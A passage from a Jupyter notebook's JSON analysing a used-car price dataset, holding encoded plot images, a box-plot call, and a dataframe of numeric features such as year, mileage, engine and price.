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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "km.plot(kind='box')" - ] - }, - { - "cell_type": "code", - "execution_count": 109, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
YearKilometers_DrivenMileageEnginePowerSeatsPrice
020107200026.6099858.165.01.75
120154100019.671582126.205.012.50
220114600018.20119988.705.04.50
320128700020.77124888.767.06.00
420134067015.201968140.805.017.74
........................
601420142736528.40124874.005.04.75
6015201510000024.40112071.005.04.00
601620125500014.002498112.008.02.90
601720134600018.9099867.105.02.65
601820114700025.4493657.605.02.50
\n", - "

6019 rows × 7 columns

\n", - "
" - ], - "text/plain": [ - " Year Kilometers_Driven Mileage Engine Power Seats Price\n", - "0 2010 72000 26.60 998 58.16 5.0 1.75\n", - "1 2015 41000 19.67 1582 126.20 5.0 12.50\n", - "2 2011 46000 18.20 1199 88.70 5.0 4.50\n", - "3 2012 87000 20.77 1248 88.76 7.0 6.00\n", - "4 2013 40670 15.20 1968 140.80 5.0 17.74\n", - "... ... ... ... ... ... ... ...\n", - "6014 2014 27365 28.40 1248 74.00 5.0 4.75\n", - "6015 2015 100000 24.40 1120 71.00 5.0 4.00\n", - "6016 2012 55000 14.00 2498 112.00 8.0 2.90\n", - "6017 2013 46000 18.90 998 67.10 5.0 2.65\n", - "6018 2011 47000 25.44 936 57.60 5.0 2.50\n", - "\n", - "[6019 rows x 7 columns]" - ] - }, - "execution_count": 109, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "feat_analysis=data_trimmed.drop(['Name', 'Company', 'Location', 'Fuel_Type', 'Transmission', 'Owner_Type'], axis = 1)\n", - "feat_analysis" - ] - }, - { - "cell_type": "code", - "execution_count": 110, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 110, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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